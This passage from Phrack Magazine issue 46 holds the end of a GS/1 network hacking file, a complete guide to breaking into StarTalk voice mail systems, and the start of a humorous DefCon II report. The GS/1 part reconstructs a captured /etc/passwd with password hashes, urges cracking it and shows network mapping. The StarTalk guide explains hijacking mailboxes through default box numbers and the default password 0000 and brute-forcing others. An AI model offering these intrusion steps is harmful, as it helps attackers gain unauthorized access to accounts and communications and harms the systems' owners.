printf("%d = [%c][%c]\n\n", x.i, x.c[1], x.c[0]);
}
}
When you have translated the I-numbers you can substitute the ASCII
values by hand (or write a d0p3 program to do it for you):
28530 ot:BJlx/e8APHe 30580 :0:0:Super use 14962 /:/bin/csh?sys
28530 = [r][o] 30580 = [t][w] 14962 = [r][:]
root:BJlx/e8APHetw:0:0:Super user:/:/bin/csh?sys
25697 m:X/haSqFDwHz1 14929 0:0:System Adm 28265 istration:/usr
25697 = [a][d] 14929 = [Q][:] 28265 = [i][n]
adm:X/haSqFDwHz1Q:0:0:System Administration:/usr
29487 ysadm:/bin/sh? 29283 on:NOLOGIN:1:1 17210 ron daemon for
29487 = [/][s] 29283 = [c][r] 17210 = [:][C]
/sysadm:/bin/sh?cron:NOLOGIN:1:1:Cron daemon for
28704 eriodic tasks: 14895 ?bin:NOLOGIN:3 13114 :System file a
28704 = [ ][p] 14895 = [/][:] 13114 = [:][3]
periodic tasks:/:?bin:NOLOGIN:3:3:System file a
28004 inistration:/: 29962 ucp::4:4:Uucp 25697 ministration:/
28004 = [d][m] 29962 = [^M][u] 25697 = [a][d]
dministration:/:
uucp::4:4:Uucp administration:/
29557 r/spool/uucppu 27746 ic:/usr/lib/uu 28771 /uucico?asg:NO
29557 = [u][s] 27746 = [b][l] 28771 = [c][p]
usr/spool/uucppublic:/usr/lib/uucp/uucico?asg:NO
20300 GIN:6:6:Assign 25185 le device admi 26990 stration:/:?sy
20300 = [L][O] 25185 = [a][b] 26990 = [n][i]
LOGIN:6:6:Assignable device administration:/:?sy
26995 nfo:NOLOGIN:10 12602 0:Access to sy 29811 em information
26995 = [s][i] 12602 = [:][1] 29811 = [s][t]
sinfo:NOLOGIN:10:10:Access to system information
12090 :?network:NOLO 18759 N:12:12:Mail a 25710 Network admin
12090 = [:][/] 18759 = [G][I] 25710 = [n][d]
:/:?network:NOLOGIN:12:12:Mail and Network admin
29545 tration:/usr/s 28528 ol/micnet:?lp: 20302 LOGIN:14:3:Pri
29545 = [i][s] 28528 = [p][o] 20302 = [N][O]
istration:/usr/spool/micnet:?lp:NOLOGIN:14:3:Pri
29806 spooler admin 29545 tration:/usr/s 28528 ol/lp:?dos:NOL
29806 = [n][t] 29545 = [i][s] 28528 = [p][o]
nt spooler administration:/usr/spool/lp:?dos:NOL
18255 IN:16:10:Acces 8307 to Dos devices 12090 :?ncs:yYNFmHnL
18255 = [O][G] 8307 = [s][ ] 12090 = [:][/]
OGIN:16:10:Access to Dos devices:/:?ncs:yYNFnHnL
22327 xcU:100:100:NC 8275 operator:/usr/
22327 = [7][W] 8275 = [S][ ]
7WxcU:100:100:NCS operator:/usr
The resulting file will look like the following:
root:BJlx/e8APHetw:0:0:Super user:/:/bin/csh?sys
adm:X/haSqFDwHz1Q:0:0:System Administration:/usr
/sysadm:/bin/sh?cron:NOLOGIN:1:1:Cron daemon for
periodic tasks:/:?bin:NOLOGIN:3:3:System file a
dministration:/:
uucp::4:4:Uucp administration:/
usr/spool/uucppublic:/usr/lib/uucp/uucico?asg:NO
LOGIN:6:6:Assignable device administration:/:?sy
sinfo:NOLOGIN:10:10:Access to system information
:/:?network:NOLOGIN:12:12:Mail and Network admin
istration:/usr/spool/micnet:?lp:NOLOGIN:14:3:Pri
nt spooler administration:/usr/spool/lp:?dos:NOL
OGIN:16:10:Access to Dos devices:/:?ncs:yYNFmHnL
7WxcU:100:100:NCS operator:/usr
Because the ls command cannot display "non-printable" characters such
as the carriage return, it will replace them with a '?' character...
delete the '?' characters and divide by line at these locations. When
you finish doing that, you'll have a standard /etc/passwd file:
root:BJlx/e8APHetw:0:0:Super user:/:/bin/csh
sysadm:X/haSqFDwHz1Q:0:0:System Administration:/usr/sysadm:/bin/sh
cron:NOLOGIN:1:1:Cron daemon for periodic tasks:/:
bin:NOLOGIN:3:3:System file administration:/:
uucp::4:4:Uucp administration:/usr/spool/uucppublic:/usr/lib/uucp/uucico
asg:NOLOGIN:6:6:Assignable device administration:/:
sysinfo:NOLOGIN:10:10:Access to system information:/:
network:NOLOGIN:12:12:Mail and Network administration:/usr/spool/micnet:
lp:NOLOGIN:14:3:Print spooler administration:/usr/spool/lp:
dos:NOLOGIN:16:10:Access to Dos devices:/:
ncs:yYNFmHnL7WxcU:100:100:NCS operator:/usr
Once you've assembled your password file in a standard ASCII form,
you'll of course want to crack it with one of the many available DES
cracking programs.
+---------------------+
+ #7: Other Avenues +
+---------------------+
Find out what else you can play with by first finding what networks are
available other than your own, and second, find out what machines are on
your network:
>(!2) GS/1# sh att
> Attached Networks
>&000023B5
>(!2) GS/1# sh nmap l
> NETWORK &000023B5 MAP
>
> 1-%070002017781 SW/AT-NCS 3.0.2 2-%070002A049C5 SW/NB-BR-3.1.1.1
> 3-%0700020269A7 SW/200-A/BSC/SDL22000 4-%07000201C089 SW/200-A/BSC/SDL22020
> 5-%070002023644 SW/200-A/BSC/SDL22020 6-%0700020138B2 SW/AT-NCS 2.1.1
> 7-%070002010855 SW/100-A/BSC 20060 8-%070002018BA2 SW/20-XNS-X.25 .0.2
> .... etc.
The boot server address, from previous examples, is number 1
which contains a description "SW/AT-NCS". Examining the rest of the
list, number 6 has the same description. System 12 may be just another
address for the boot server or it may be a different Xenix... but it should
be Xenix whatever it is.
We have refrained from covering the typical GS/1 information that has been
published by others; and instead, covered newer concepts in GS/1 hacking.
This phile is not a complete guide to GS/1 hacking; but expect successive
publications on the topic.
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 18 of 26
****************************************************************************
***** ******** **** ***** ******** **** ** ** **
***** **** ** ** ** ** **** ** ** ** ** ***
**** **** ** ** ** ** ** **** ** ** ** ** *****
***** **** ** ** ** *** **** ** ** ****** ** ***
(*) A Complete 'N Easy Guide to Hacking and the (*)
(*) Usage of "StarTalk" Voice Mail Systems (*)
Written By: The Red Skull
07/25/94
Introduction
~~~~~~~~~~~~
There are many types of different voice mail systems out there, that
run on phone systems they are compatible with. You have probably seen a lot
of text files about hacking voice mail systems, on your local bulletin
boards. The popular ones you might have heard about are systems like, Aspen
(Automatic Speech Exchange Network), TMC (The Message Center), Audix, and
Meridian Mail. There are VMB hacking programs that are suppose to hack vmbs
for you. I really don't believe in those kind of programs. When I say this,
I am not talking about programs like Tone Locator or Blue Beep, I am talking
about programs like 'The Aspen Hacker' and any other *VMB* hacking programs.
I am just saying this, so you don't mix this guide up with a vmb hacking
program.
General Information
~~~~~~~~~~~~~~~~~~~
I have decided to write a hacking/user's guide for the StarTalk Voice
Mail System because there is no guide for the StarTalk Voice Mail System,
and almost no one has heard about it. Since this will be the first one for
it, I will try and explain it as simply as possible. You might have heard
of Northern Telecom. They are the makers of StarTalk, but they are also the
makers of a very popular user-friendly Voice Mail System called 'Meridian
Mail'. Both StarTalk and Meridian Mail run on the Norstar telephone system.
StarTalk is designed to function as an extension of the Norstar telephone
system. All the StarTalk software operation is done on a Norstar telephone
set, so that means it doesn't run on a computer terminal. There are 3
different sizes and configurations that the StarTalk Voice Mail System
comes with -
o Model 110 - 2 voice channels, with 1 hour and 50
minutes total storage.
o Model 165 - 4 voice channels, with 2 hours and 45
minutes total storage.
o Model 385 - 4 voice channels, with 6 hours and 25
minutes total storage.
The capabilities of StarTalk Model 385
can be further expanded through an
enhancement option, available in 4, 6
or 8 channel versions, which provides
a total of 9 hours an 45 minutes of
storage.
Right now, you might be wondering what the hell i'm talking about, but
it's simple. The number of voice channels means how many voice mail users
could be using their voice mail. So for example, 4 voice channels, means only
4 voice mail users could be on the voice mail system. The Model 110 can hold
about 25 boxes, the Model 165 can hold 50 boxes and the Model 385 can hold 120
boxes and higher. So, it's better if you find a StarTalk Voice Mail System
that is running Model 385. The part that says 'with 6 hours and 25 minutes
total storage', means how many hours of messages it can store. The Model 385
is also upgradable. I could go on about the models but that's all we need to
know for now. So now that we've finished this, we will get into the part
that you've been waiting for.
Finding a StarTalk Voice Mail System
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
You will probably not be able to recognize a StarTalk voice mail system
if you find one using a war dialer, because when a StarTalk system answers,
it will only have the company's personalized automated greeting. There are
only two ways to get a StarTalk system: you either scan it out yourself or
get it from someone else. If you get it from someone else, all the boxes
will probably be gone, used or just not safe.
Recognizing a StarTalk Voice Mail System
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ok, now let's say you have come across a StarTalk system, how do you
know that it's a StarTalk? As I said, you will not be able to tell if it's a
StarTalk system by just calling it. If the system is a Startalk, when the
company's personalized greeting answers, press '*' and it should say -
"Please enter the mailbox number, or press the # sign to use the directory"
Remember, if you press '*' and just sit there, it will repeat the message
one more `time, and then say "Exiting the system."
If you hit '**' it should say -
"Please enter your mailbox number and your password, then press # sign"
If you don't get anything like this, that means it's not a StarTalk Voice
Mail System. If you are still not sure that you have a StarTalk System,
then you can always call 416-777-2020 and listen to the voice and see
if it matches with what you have found.
Finding a Virgin Box
~~~~~~~~~~~~~~~~~~~~
This is a very interesting step and also an easy one. Once you have
found a StarTalk Voice Mail System, the first thing you'll want to do is
get some boxes on it. The interesting part is that you are always guaranteed
to get one box on a StarTalk System. This is because every StarTalk System
has a box that is for the voice mail users to leave any problems they are
experiencing with their vmb. This is the box that almost always has a default
on it, but if the System Admin is smart he will change it. So far, on all the
StarTalk systems that I have come across the default for this box hasn't been
changed. The box number is '101' and the defaults for StarTalk Voice Mail
systems are '0000'. So the first thing you should do is call up the system
and press *101 and the default greeting on the box should say (this greeting
is for box 101 only) -
"This is the Trouble-Report mailbox, if you are experiencing difficulty
using the messaging features, please leave your name, mailbox # and a
detailed description of the problem" *BEEP*
If it says that, press '**' and then when it asks you to enter your mailbox
number and your password, enter '1010000' and press the # sign. If you've
followed everything I've said and the System Admin hasn't changed the
default on this box, it should go ahead and ask you to enter your new
personal mailbox password. There is another box number which is sometimes
at the default which is the System Admin's box at 102. Although this is a
System Admin box, the only System Admin option it has available is to leave
a broadcast message, which leaves a message to all boxes on the system.
This box will have the regular default greeting which is -
"This mailbox is not initialized and cannot accept messages, please
try again later"
Do the same thing you did before, If it says that, press '**' and then when
it asks you to enter your mailbox number and your password, enter '1020000'
and press the # sign. If everything is fine, it should ask you to enter your
new personal mailbox password. This is called Initializing your mailbox, and
I'll talk about this later in this file. So, there you go, you've got your
box on a StarTalk System. All StarTalk Voice Mail Systems that I have run
into so far have had 2-3 digit mailboxes. Now, to hack any other boxes
through the system, you would have to go and keep on trying 3 digit mailbox
number starting with 1XX, until you find an empty box with a regular default
greeting. Let's say you find another empty box at box number 130, you will do
the same thing, press '**' and when it asks you to enter your mailbox number
and your password, enter '1300000' and press the # sign. One thing I like
about box number '101' is that, a lot of System Admin's are not aware that it
even exists, that is because they probably have a lousy TSR (Technical Service
Rep). (This is the person that is suppose to help them install the Voice
Mail System.)
What to do After you've Got A StarTalk Voice Mail Box
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The rest of the file will concentrate on all the inside functions and
options that a StarTalk Voice Mail Box has. We will be covering all
these topics -
o Initializing a Mailbox
o Your Mailbox Greeting
o Recording a Greeting
o Choosing a Mailbox Greeting
o Listening To Messages
o Off-premise Message Notification
o Setting Up Off-premise Message Notification
o Disabling Off-premise Message Notification
o Changing Off-premise Message Notification
o Leaving a Mailbox Message
o Message Delivery Options
o Assigning the Target Attendant
o Quick Reference Tips
Your Mailbox
~~~~~~~~~~~~
Before you can use your mailbox, you must:
- open your mailbox
- change your password
- record your name
- record your personal mailbox greeting(s)
This is called Initializing your mailbox.
Initializing a Mailbox
----------------------
To open and initialize your mailbox:
1. Press * * and Mailbox #
2. Enter the default password '0000'
3. To end the password, press #
4. The StarTalk voice prompt, asks you to enter your new personal mailbox
password.
5. Using touchtones, enter your new mailbox password. Your password can
be from 4 to 8 digits long, but it cannot start with zero.
6. To end your password, press #
7. After you have accepted your password, you are asked to record your name
in the Company Directory, At the tone, record your name.
8. To end your recording, press #
9. To accept your recording, press #
You are now ready to record your personal mailbox greetings. Once your
greetings are recorded, you have the option of selecting either your primary
or alternate greeting. If you do not select a greeting, your primary
greeting plays automatically.
Note: Initializing a mailbox is only done the first time you open your
mailbox. You have to initialize your mailbox to receive messages.
Your Mailbox Greeting
~~~~~~~~~~~~~~~~~~~~~
Each mailbox has a primary and alternate greeting recorded by you.
After you have recorded your personal mailbox greetings, you can choose
which greeting you play to callers reaching your mailbox.
Recording a Greeting
--------------------
To record your greetings, you must first open your mailbox. Once you have
opened your mailbox:
1. Press 8
2. To select Greeting Options, press 2
3. To record your greeting, press 1
4. Select which greeting you are going to record.
Note: You can choose to record either your primary or alternate mailbox
greeting.
5. To record your greeting, press 1
6. At the tone, record your greeting.
7. To end your greeting, press #
8. To accept this recording, press #
Choosing a Mailbox Greeting
---------------------------
After the mailbox greeting is recorded, you can choose which greeting you
are going to use. If you do not choose a mailbox greeting, Startalk
automatically plays your primary greeting. To choose a mailbox greeting
you must open your mailbox. Once you have opened your mailbox:
1. Press 8
2. To select Greeting Options, press 2
3. Press 2
4. Select which mailbox greeting your mailbox is going to use.
Listening To Messages
---------------------
Each time you open your mailbox, StarTalk plays any Broadcast messages left
by the System Admin (don't reply to them!), and also tells you how many other
messages are in your mailbox. Messages are played beginning with any Urgent
messages, followed by the first message left in your mailbox.
To listen to messages, you must open your mailbox. Once you have opened
your mailbox:
1. To listen to messages, press 2 or to listen to your saved messages,
press 6
Your first message starts to play. While listening to a message, or after
a message has played, you can:
Replay the message : 1 1
Back up 9 seconds : 1
Pause and Continue : 2 to pause then 2 to continue
Forward 9 seconds : 3
Skip to the end of message : 3 3
Play the previous message : 4
Forward the message : 5
Skip to the next message : 6
Play time and date stamp : 7
Save a Message : 7 7
Erase the message : 8
Reply to the message : 9
Volume control : *
Note: After listening to the messages left in your mailbox and exiting
StarTalk, all messages you do not erase are automatically saved.
Off-premise Message Notification
--------------------------------
Off-premise Message Notification, to a telephone number or a pager, alerts
you when messages are left in your mailbox. Off-premise Message Notification
is enabled in the StarTalk Class of Service designation by the System
Coordinator.
Setting Up Off-premise Message Notification
-------------------------------------------
To set up Off-premise Message Notification, you must first open your
mailbox. Once you have opened your mailbox:
1. Open the mailbox admin menu, press 8
2. Open the message notification menu, press 6
3. To set up message notification, press 1
4. To select a line, press 1
Note: You can also select line, pool or intercom.
(YOU HAVE TO SELECT LINE)
5. Enter a line, pool or IC number, press #
Note: You have to enter '1', or '01' as the line if 1 doesn't work.
6. To accept the line, pool or IC number, press #
7. Enter the destination telephone number, press #
Note: While you are entering a telephone number, you can press a dialpad
number to represent dialtone recognition or other telephone number options.
When StarTalk is installed with PBX or Centrex and you want to access an
outside line, you must enter the command to recognize dial tone. For
example enter 9 to access an outside line, press # then enter 4 to
recognize dialtone press 2 followed by the destination number, press #
and any required pauses. Each pause entered is four seconds long.
8. To end the telephone number, press #
9. To accept the telephone number, press #
10. To accept the destination type telephone, press # and move to step 12.
To change the destination type to pager, press 1
Note: The destination type can be either telephone or pager. StarTalk
automatically selects telephone. When the pager destination
type is selected, a pause must be inserted. The number of pauses
required depends on the pager system being used.
11. To accept the destination type, press #
If the message destination type is a telephone, you must set a start time.
12. Enter the time when Off-premise Message Notification is to start.
Note: This is a four-digit field. Any single digit hour and minute
must be preceded by a zero.
13. Press 1 for AM, 2 for PM.
14. To accept the start time, press #
15. Enter the time when Off-premise Message Notification is to stop.
Note : This is a four-digit field. Any single digit hour and
minute must be preceded by a zero.
16. Press 1 for AM, 2 for PM.
17. To accept the stop time, press #
18. To accept the message type NEW, press #
To change the message type to URGENT, press 1
Note: The default message type is NEW. This means you are notified
whenever you receive a new message. Changing the message type changes
NEW to URGENT. This means you are only notified when you receive an
urgent message.
19. To accept the message type, press #
The Off-premise Message Notification will begin as soon as the start time
is reached. You will be called whenever you receive a message.
Disabling Off-premise Message Notification
------------------------------------------
To disable Off-premise Message Notification, you must first open your
mailbox, Once your mailbox is open:
1. Open the mailbox admin menu, press 8
2. To access the message notification menu, press 6
3. To listen to the options, press 2
4. To disable message notification, press 1
Off-premise Message Notification is disabled.
Changing Off-premise Message Notification
-----------------------------------------
To change Off-premise Message Notification, you must first open your mailbox,
Once you have opened your mailbox:
1. Open the mailbox admin menu, press 8
2. Open the message notification menu, press 6
3. To change message notification press 1
4. To select a line, press 1
5. Press 1
If you wish to change the line, press #
6. Enter the new line number.
7. To end the line number, press #
8. To accept the line number, press #
9. Press 1
If you do not wish to change the destination telephone number, press #
10. Enter the new destination telephone number.
11. To end the telephone number, press #
12. To accept the telephone number, press #
13. To change the destination type, press 1
14. To accept the destination type, press #
15. To change the start time, press 1
If you do not wish to change the time, press #
16. Enter the time when Off-premise Message Notification is to start.
17. Press 1 for AM, 2 for PM.
18. To accept the start time, press #
19. To change the stop time, press 1
If you do not wish to change the time, press #
20. Enter the time when Off-premise Message Notification is to stop.
21. Press 1 for AM, 2 for PM.
22. To accept the stop time, press #
23. To change the message type, press 1
24. To accept the message type, press #
Leaving a Mailbox Message
-------------------------
You can leave a message directly in any StarTalk mailbox, as long as that
mailbox has been initialized.
To leave a mailbox message:
1. Enter the mailbox # and at the tone, record your message.
2. To end your recording, press #
3. For delivery options, press 3
4. To send your message, press #
Message Delivery Options
------------------------
StarTalk provides you with four message delivery options, which are:
Certified 1 - This delivery option sends you a message and tells you if
the person received and read your message, but this is
only if the message is inside the system.
Urgent 2 - This delivery option marks the message, and plays it before
playing other messages left in your mailbox.
Private 3 - This delivery option prevents a message from being forwarded
to another mailbox.
Normal # - This delivery option sends a message to a mailbox. Normal
messages are played in the order in which they are received,
and can be forwarded to other mailboxes.
After you have recorded your mailbox message, press 3 to access delivery
options. To use one of the delivery options, press the right delivery
option number.
Note: When leaving a message, you can press 9 to listen to StarTalk voice
prompts in the alternate language.
Assigning the Target Attendant
------------------------------
Anyone that presses [0] when they are connected to your box will be
transferred to an operator if your Target Attendant is set to [0] or her
mailbox #.
To change from the Operator to the Target Attendant -
1. Press 8
2. Press 5
3. Press 1
4. Enter <desired extension>
5. Press *
Quick Reference Tips
--------------------
- To save time, you can just interrupt most prompts by press # or selecting
a StarTalk option.
- If you get lost using StarTalk options, press * to replay the option list
```````````````````````````````````````````````````````````````````````````
Ok, this is the end of the StarTalk voice mail guide. I tried my best
to make it as simple as I could with respect to both hacking it
and using it. I plan on writing my next file on Smooth Operator, a
PC-based information processing system. I will probably focus more on
the terminal part of it. I will try and cover the logins and all other
things needed to get around the system. If any readers out there have
comments or suggestions on this article, or on my next article, please
contact me.
If you would like to talk about this, you can find me on IRC with the nick
'redskull' or you can write me a message on my Internet Address.
Internet Address : redskull@io.org
I'd like to thank S. Cleft for giving me some tips and also discovering
some of the things I've mentioned in this file.
```````````````````````````````````````````````````````````````````````````` ==Phrack Magazine==
Volume Five, Issue Forty-Six, File 19 of 28
****************************************************************************
DefCon II: Las Vegas
Cyber-Christ meets Lady Luck
July 22-24, 1994
by Winn Schwartau
(C) 1994
Las Vegas connotes radically different images to radically dif
ferent folks. The Rat Pack of Sinatra, Dean Martin and Sammy
Davis Jr. elicits up the glistening self-indulgent imagery of
Vegas' neon organized crime in the '50's (Ocean's Eleven
displayed only minor hacking skills.)
Then there's the daily bus loads of elderly nickel slot gam
blers from Los Angeles and Palm Springs who have nothing better
to do for twenty out of twenty four hours each day. (Their
dead husbands were golf hacks.) Midwesterners now throng to
the Mississippi River for cheap gambling.
Recreational vehicles of semi-trailor length from East Bullock,
Montana and Euclid, Oklahoma and Benign, Ohio clog routes 80
and 40 and 10 to descend with a vengeance upon an asphalt home
away from home in the parking lot of Circus Circus. By cul
tural demand, every Rv'er worth his salt must, at least once in
his life, indulge in the depravity of Glitter Gulch.
And so they come, compelled by the invisibly insidious derelict
attraction of a desert Mecca whose only purpose in life is to
suck the available cash from addicted visitor's electronic
purses of ATM and VISA cards. (Hacker? Nah . . .)
Vegas also has the distinction of being home to the largest of
the largest conventions and exhibitions in the world. Comdex
is the world's largest computer convention where 150,000 techno-
dweebs and silk suited glib techno-marketers display their
wares to a public who is still paying off the 20% per annum
debt on last year's greatest new electronic gismo which is
now rendered thoroughly obsolete. And the Vegas Consumer Elec
tronic Show does for consumer electronics what the First Amend
ment does for pornography. (Hackers, are we getting close?)
In between, hundreds upon hundreds of small conferences and
conventions and sales meetings and annual excuses for excess
all select Las Vegas as the ultimate host city. Whatever you
want, no matter how decadent, blasphemous, illegal or immoral, at
any hour, is yours for the asking, if you have cash or a clean
piece of plastic.
So, it comes as no surprise, that sooner or later, (and it turns
out to be sooner) that the hackers of the world, the computer
hackers, phone phreaks, cyber-spooks, Information Warriors, data
bankers, Cyber-punks, Cypher-punks, eavesdroppers, chippers,
virus writers and perhaps the occasional Cyber Christ again
picked Las Vegas as the 1994 site for DefCon II.
You see, hackers are like everyone else (sort of) and so they,
too, decided that their community was also entitled to hold
conferences and conventions.
DefCon (as opposed to Xmas's HoHoCon), is the premier mid-year
hacker extravaganza. Indulgence gone wild, Vegas notwithstanding
if previous Cons are any example; but now put a few hundred
techno-anarchists together in sin city USA, stir in liberal
doses of illicit controlled pharmaceutical substances, and we
have a party that Hunter Thompson would be proud to attend.
All the while, as this anarchistic renegade regiment marches to
the tune of a 24 hour city, they are under complete surveillance
of the authorities. Authorities like the FBI, the Secret Serv
ice, telephone security . . . maybe even Interpol. And how did
the "man" arrive in tow behind the techno-slovens that belong
behind bars?
They were invited.
And so was I. Invited to speak. (Loose translation for standing
up in front of hundreds of hackers and being verbally skewered
for having an opinion not in 100% accordance with their own.)
"C'mon, it'll be fun," I was assured by DefCon's organizer, the
Dark Tangent.
"Sure fired way to become mutilated monkey meat," I responded.
Some hackers just can't take a joke, especially after a prison
sentence and no opposite-sex sex.
"No really, they want to talk to you . . ."
"I bet."
It's not that I dislike hackers - on the contrary. I have even
let a few into my home to play with my kids. It's just that, so
many of the antics that hackers have precipitated at other Cons
have earned them a reputation of disdain by all, save those who
remember their own non-technical adolescent shenanigans. And I
guess I'm no different. I've heard the tales of depraved indif
ference, hotel hold-ups, government raids on folks with names
similar to those who are wanted for pushing the wrong key on the
keyboard and getting caught for it. I wanted to see teens and X-
generation types with their eyes so star sapphire glazed over that
I could trade them for chips at the craps table.
Does the truth live up to the fiction? God, I hope so. It'd be
downright awful and unAmerican if 500 crazed hackers didn't get
into at least some serious trouble.
So I go to Vegas because, because, well, it's gonna be fun. And,
if I'm lucky, I might even see an alien spaceship.
For you see, the party has already begun.
I go to about 30 conventions and conferences a year, but rarely
if ever am I so Tylonol and Aphrin dosed that I decide to go with
a severe head cold. Sympomatic relief notwithstanding I debated
and debated, and since my entire family was down with the same
ailment I figured Vegas was as good a place to be as at home in
bed. If I could survive the four and half hour plane flight
without my Eustahian tubes rocketing through my ear drums and
causing irreparable damage, I had it made.
The flight was made tolerable becuase I scuba dive. Every few
minutes I drowned out the drone of the engines by honking uncon
trollably like Felix Ungerto without his aspirator. To the
chagrin of my outspoken counter surveillance expert and traveling
mate, Mike Peros and the rest of the first class cabin, the
captain reluctantly allowed be to remain on the flight and not be
expelled sans parachute somewhere over Southfork, Texas. Snort,
snort. Due to extensive flirting with the two ladies across the
aisle, we made the two thousand mile trek in something less than
34 minutes . . . or so it seemed. Time flies took on new mean
ing.
For those who don't know, the Sahara Hotel is the dregs of the
Strip. We were not destined for Caesar's or the MGM or any of
the new multi-gazillion dollar hotel cum casinos which produce
pedestrian stopping extravaganzas as an inducement to suck in
little old ladies to pour endless rolls of Washington quarters in
mechanical bottomless pits. The Sahara was built some 200 years
ago by native slave labor whose idea of plumbing is clean sand
and decorators more concerned with a mention in Mud Hut Daily
than Architectural Digest. It was just as depressingly dingy and
solicitly low class as it was when I forced to spend eleven days
there (also with a killer case of the flu) for an extended Comdex
computer show. But, hey, for a hacker show, it was top flight.
"What hackers?" The desk clerk said when I asked about the show.
I explained. Computer hackers: the best from all over the coun
try. "I hear even Cyber Christ himself might appear."
Her quizzical look emphasized her pause. Better to ignore a
question not understood than to look stupid. "Oh, they'll be
fine, We have excellent security." The security people, I found
out shortly thereafter knew even less: "What's a hacker?" Too
much desert sun takes its toll. Proof positive photons are bad
for neurons.
Since it was still only 9PM Mike and I sucked down a couple of $1
Heinekens in the casino and fought it out with Lineman's Switch
ing Union representatives who were also having their convention
at the Sahara. Good taste in hotels goes a long way.
"$70,000 a year to turn a light from red to green?" we com
plained.
"It's a tension filled job . . .and the overtime is murder."
"Why a union?"
"To protect our rights."
"What rights?"
"To make sure we don't get replaced by a computer . . ."
"Yeah," I agreed. "That would be sad. No more Amtrak
disasters." The crowd got ugly so we made a hasty retreat under
the scrutiny of casino security to our rooms. Saved.
Perhaps if I noticed or had read the original propaganda on
DefCon, I might have known that nothing significant was going to
take place until the following (Friday) evening I might have
missed all the fun.
For at around 8AM, my congestion filled cavities and throbbing
head was awakened by the sound of an exploding toilet. It's kind
of hard to explain what this sounds like. Imagine a toilet
flushing through a three megawatt sound system at a Rolling
Stones concert. Add to that the sound of a hundred thousand flu
victims standing in an echo chamber cleansng their sinuses into a
mountain of Kleenex while three dozen football referees blow
their foul whistles in unison, and you still won't come close to
the sheer cacophonous volume that my Saharan toilet exuded from
within its bowels. And all for my benefit.
The hotel manager thought I was kidding. "What do you mean
exploded?"
"Which word do you not understand?" I growled in my early morning
sub-sonic voice. "If you don't care, I don't."
My bed was floating. Three or maybe 12 inches of water created
the damnedest little tidal wave I'd ever seen, and the sight and
sound of Lake Meade in room 1487 only exascerbatd the pressing
need to relieve myself. I dried my feet on the extra bed linens,
worried about electrocution and fell back asleep. It could have
been 3 minutes or three hours later - I have no way to know -
but my hypnogoic state was rudely interrupted by hotel mainte
nance pounding at the door with three fully operational muffler-
less jack hammers.
"I can't open it," I bellowed over the continual roar of my
personal Vesuvius Waterfall. "Just c'mon in." The fourteenth
floor hallway had to resemble an underwater coral display becuase
the door opened ever so slowly..
"Holy Christ!"
Choking back what would have been a painful laugh, I somehow
eeked out the words, with a smirk, "Now you know what an explo-
ding toilet is like."
For, I swear, the next two hours three men whose English was
worse than a dead Armadillo attempted to suck up the Nile River
from my room and the hallway. Until that very moment in time, I
didn't know that hotels were outfitted with vacuum cleaners
specifically designed to vacuum water. Perhaps this is a regular
event.
Everyone who has ever suffered through one bitches about Vegas
buffets, and even the hackers steered away from the Sahara's
$1.95 "all you can eat" room: "The Sahara's buffet is the worst
in town; worse than Circus Circus." But since I had left my
taste buds at 37,000 feet along with schrapneled pieces of my
inner ear, I sought out sustenance only to keep me alive another
24 hours.
By mid afternoon, I had convinced myself that outside was not the
place to be. After only eighteen minutes of 120 sidewalk egg-
cooking degrees, the hot desert winds took what was left of my
breath away and with no functioning airways as it was, I knew
this was a big mistake. So, hacker convention, ready or not,
here I come.
Now, you have to keep in mind that Las Vegas floor plans are
designed with a singular purpose in mind. No matter where you
need to go, from Point A to Point B or Point C or D or anywhere,
the traffic control regulations mandated by the local police and
banks require that you walk by a minimum of 4,350 slot machines,
187 gaming tables of various persuasions and no less than 17
bars. Have they no remorse? Madison Avenue ad execs take heed!
So, lest I spend the next 40 years of my life in circular pursuit
of a sign-less hacker convention losing every last farthing I
inherited from dead Englishmen, I asked for the well hidden loca-
tion at the hotel lobby.
"What hackers?" There goes that nasty photon triggered neuron
depletion again.
"The computer hackers."
"What computer hackers. We don't have no stinking hackers . . ."
Desk clerk humor, my oxymoron for the week.
I tried the name: DefCon II.
"Are we going to war?" one ex-military Uzi-wielding guard said
recognizing the etymology of the term.
"Yesh, it's true" I used my most convincing tone. "The Khasaks
tanis are coming with nuclear tipped lances riding hundred foot
tall horses. Paris has already fallen. Berlin is in ruins.
Aren't you on the list to defend this great land?"
"Sure as shit am!" He scampered off to the nearest phone in an
effort to be the first on the front lines. Neuron deficiency
beyong surgical repair..
I slithered down umpteen hallways and casino aisles lost in the
jungle of jingling change. Where the hell are the hackers?
"They must be there," another neuron-impoverished Saharan employ
ee said as he pointed towards a set of escalators at the very far
end of the casino.
All the way at the end of the almost 1/4 mile trek through Sodom
and Gonorrhea an 'up' escalator promised to take me to hackerdom.
Saved at last. Upstairs. A conference looking area. No signs
anywhere, save one of those little black Velcro-like stick-em
signs where you can press on white block letters.
No Mo Feds
I must be getting close. Aha, a maintenance person; I'll ask him.
"What hackers? What's DefCon."
Back downstairs, through the casino, to the front desk, back
through the casino, up the same escalator again. Room One I was
told. Room One was empty. Figures. But, at the end of a
hallway, past the men's room and the phones, and around behind
Room One I saw what I was looking for: a couple of dozen T-shirt
ed, Seattle grunged out kids (read: under 30) sitting at uncov
ered six foot folding tables hawking their DefCon II clothing,
sucking on Heinekens and amusing themselves with widely strewn
backpacks and computers and cell phones.
I had arrived!
* * * *
You know, regular old suit and tie conferences could learn a
thing or two from Jeff Moss, the man behind DefCon II. No fancy
badge making equipment; no $75 per hour union labor built regis
tration desks; no big signs proclaiming the wealth of knowledge
to be gained by signing up early. Just a couple of kids with a
sheet of paper and a laptop.
It turned out I was expected. They handed me my badge and what a
badge it was. I'm color blind, but this badge put any psychedel
ically induced spectral display to shame. In fact it was a close
match to the Sahara's mid 60's tasteless casino carpeting which
is so chosen as to hide the most disgusting regurgative blessing.
But better and classier.
The neat thing was, you could (in fact had to) fill out your own
badge once your name was crossed off the piece of paper that
represented the attendee list.
Name:
Subject of Interest:
E-Mail:
Fill it out any way you want. Real name, fake name, alias,
handle - it really doesn't matter cause the hacker underground
ethic encourages anonymity. "We'd rather not know who you are
anyway, unless you're a Fed. Are you a Fed?"
A couple of lucky hackers wore the ultimate badge of honor. An
"I Spotted A Fed" T-shirt. This elite group sat or lay on the
ground watching and scouring the registration area for signs that
someone, anyone, was a Fed. They really didn't care or not if
you were a Fed - they wanted the free T-shirt and the peer re
spect that it brought.
